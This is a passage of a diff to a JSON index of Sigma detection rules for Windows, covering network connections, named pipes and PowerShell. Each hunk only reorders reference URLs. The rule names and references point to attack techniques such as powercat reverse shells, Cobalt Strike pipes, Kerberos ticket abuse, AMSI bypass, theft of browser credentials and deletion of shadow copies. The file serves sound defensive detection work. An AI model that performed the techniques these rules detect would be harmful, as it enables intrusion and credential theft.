"https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/" ], "tags": [ "attack.execution", @@ -26871,8 +26869,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/raspberry-robin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_binary_no_cmdline.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_binary_no_cmdline.yml", + "https://redcanary.com/blog/raspberry-robin/" ], "tags": [ "attack.defense_evasion" @@ -26918,9 +26916,9 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_dropbox_api.yml", "https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb", - "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_dropbox_api.yml" + "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east" ], "tags": "No established tags" }, @@ -26963,8 +26961,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://github.com/GhostPack/Rubeus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_kerberos_connection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_kerberos_connection.yml", + "https://github.com/GhostPack/Rubeus" ], "tags": [ "attack.credential_access", @@ -27015,8 +27013,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", "https://www.ietf.org/rfc/rfc2821.txt", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_smtp_connections.yml" ], "tags": [ @@ -27040,8 +27038,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_prog_location_network_connection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_prog_location_network_connection.yml", + "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo" ], "tags": [ "attack.command_and_control", @@ -27138,9 +27136,9 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "Internal Research", "https://attack.mitre.org/groups/G0010/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_apt_turla_namedpipes.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_apt_turla_namedpipes.yml", + "Internal Research" ], "tags": [ "attack.g0010", @@ -27191,8 +27189,8 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L22", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_diagtrack_eop_default_pipe.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_diagtrack_eop_default_pipe.yml", + "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L22" ], "tags": [ "attack.privilege_escalation" @@ -27214,9 +27212,9 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://twitter.com/SBousseaden/status/1429530155291193354?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_efspotato_namedpipe.yml", "https://github.com/zcgonvh/EfsPotato", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_efspotato_namedpipe.yml" + "https://twitter.com/SBousseaden/status/1429530155291193354?s=20" ], "tags": [ "attack.defense_evasion", @@ -27266,11 +27264,11 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://twitter.com/d4rksystem/status/1357010969264873472", - "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/", "https://github.com/Neo23x0/sigma/issues/253", - "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", + "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/", "https://redcanary.com/threat-detection-report/threats/cobalt-strike/", + "https://twitter.com/d4rksystem/status/1357010969264873472", + "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml" ], "tags": [ @@ -27321,18 +27319,18 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/", - "https://securelist.com/faq-the-projectsauron-apt/75533/", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "https://www.us-cert.gov/ncas/alerts/TA17-117A", - "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", - "https://thedfirreport.com/2020/06/21/snatch-ransomware/", - "https://github.com/RiccardoAncarani/LiquidSnake", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a", + "https://thedfirreport.com/2020/06/21/snatch-ransomware/", + "https://securelist.com/faq-the-projectsauron-apt/75533/", + "https://github.com/RiccardoAncarani/LiquidSnake", "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", - "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_namedpipes.yml" ], "tags": [ @@ -27484,8 +27482,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/ADFSDBNamedPipeConnection.yaml", - "https://o365blog.com/post/adfs/", "https://github.com/Azure/SimuLand", + "https://o365blog.com/post/adfs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_adfs_namedpipe_connection.yml" ], "tags": [ @@ -27585,9 +27583,9 @@ "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", "https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_delete_volume_shadow_copies.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_delete_volume_shadow_copies.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md" ], "tags": [ "attack.impact", @@ -27660,8 +27658,8 @@ "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ - "https://nmap.org/ncat/", "https://github.com/besimorhino/powercat", + "https://nmap.org/ncat/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_powercat.yml" ], @@ -27712,8 +27710,8 @@ "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_renamed_powershell.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_renamed_powershell.yml", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse" ], "tags": [ "attack.execution", @@ -27736,8 +27734,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_athremotefxvgpudisablementcommand.yml" ], "tags": [ @@ -27761,8 +27759,8 @@ "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ - "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_download.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_download.yml", + "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html" ], "tags": [ "attack.execution", @@ -27785,8 +27783,8 @@ "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_get_nettcpconnection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_get_nettcpconnection.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell" ], "tags": [ "attack.discovery", @@ -27809,8 +27807,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_zip_compress.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_zip_compress.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md" ], "tags": [ "attack.collection", @@ -27833,8 +27831,8 @@ "logsource.category": "ps_classic_provider_start", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_with_windows_defender.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_with_windows_defender.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md" ], "tags": [ "attack.defense_evasion", @@ -27857,10 +27855,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/chadtilbury/status/1275851297770610688", "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_wsman_com_provider_no_powershell.yml", "https://github.com/bohops/WSMan-WinRM", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_wsman_com_provider_no_powershell.yml" + "https://twitter.com/chadtilbury/status/1275851297770610688" ], "tags": [ "attack.execution", @@ -27885,8 +27883,8 @@ "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=46", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_xor_commandline.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_xor_commandline.yml", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=46" ], "tags": [ "attack.execution", @@ -27935,10 +27933,10 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", - "https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml", "https://www.mdeditor.tw/pl/pgRt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml" + "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", + "https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/" ], "tags": [ "attack.execution", @@ -27961,8 +27959,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_clear_powershell_history.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_clear_powershell_history.yml", + "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a" ], "tags": [ "attack.defense_evasion", @@ -27985,9 +27983,9 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml", "https://github.com/OTRF/detection-hackathon-apt29/issues/8", - "https://threathunterplaybook.com/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml" + "https://threathunterplaybook.com/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.html" ], "tags": [ "attack.defense_evasion", @@ -28060,8 +28058,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_clip.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_clip.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -28086,8 +28084,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_obfuscated_iex.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_obfuscated_iex.yml", + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888" ], "tags": [ "attack.defense_evasion", @@ -28112,8 +28110,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_stdin.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_stdin.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -28138,8 +28136,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_var.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_var.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -28164,8 +28162,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_compress.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_compress.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -28190,8 +28188,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_rundll.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_rundll.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -28216,8 +28214,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_stdin.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_stdin.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -28242,8 +28240,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_clip.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_clip.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -28268,8 +28266,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_mhsta.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_mhsta.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -28294,8 +28292,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_rundll32.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_rundll32.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -28320,8 +28318,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_var.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_var.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -28346,8 +28344,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://nmap.org/ncat/", "https://github.com/besimorhino/powercat", + "https://nmap.org/ncat/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_powercat.yml" ], @@ -28422,8 +28420,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_athremotefxvgpudisablementcommand.yml" ], "tags": [ @@ -28470,8 +28468,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_get_nettcpconnection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_get_nettcpconnection.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell" ], "tags": [ "attack.discovery", @@ -28564,9 +28562,9 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_reset_computermachinepassword.yml", "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_reset_computermachinepassword.yml" + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1" ], "tags": [ "attack.initial_access", @@ -28613,8 +28611,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_zip_compress.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_zip_compress.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md" ], "tags": [ "attack.collection", @@ -28637,8 +28635,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/" ], "tags": [ "attack.defense_evasion", @@ -28661,8 +28659,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_accessing_win_api.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_accessing_win_api.yml", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse" ], "tags": [ "attack.execution", @@ -28686,8 +28684,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_access_to_browser_login_data.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_access_to_browser_login_data.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md" ], "tags": [ "attack.credential_access", @@ -28710,9 +28708,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://twitter.com/NathanMcNulty/status/1569497348841287681", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_dnsclient_rule.yml", "https://docs.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_dnsclient_rule.yml" + "https://twitter.com/NathanMcNulty/status/1569497348841287681" ], "tags": [ "attack.impact", @@ -28735,8 +28733,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1", "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", + "https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_adrecon_execution.yml" ], "tags": [ @@ -28761,9 +28759,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/", "https://twitter.com/cyb3rops/status/1588574518057979905?s=20&t=A7hh93ONM7ni1Rj1jO5OaA", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_bypass_pattern_nov22.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_bypass_pattern_nov22.yml", + "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/" ], "tags": [ "attack.defense_evasion", @@ -28787,8 +28785,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_apt_silence_eda.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_apt_silence_eda.yml", + "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf" ], "tags": [ "attack.execution", @@ -28898,8 +28896,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-6---windows-screen-capture-copyfromscreen", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_capture_screenshots.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_capture_screenshots.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-6---windows-screen-capture-copyfromscreen" ], "tags": [ "attack.collection", @@ -28924,8 +28922,8 @@ "refs": [ "https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/", "https://www.shellhacks.com/clear-history-powershell/", - 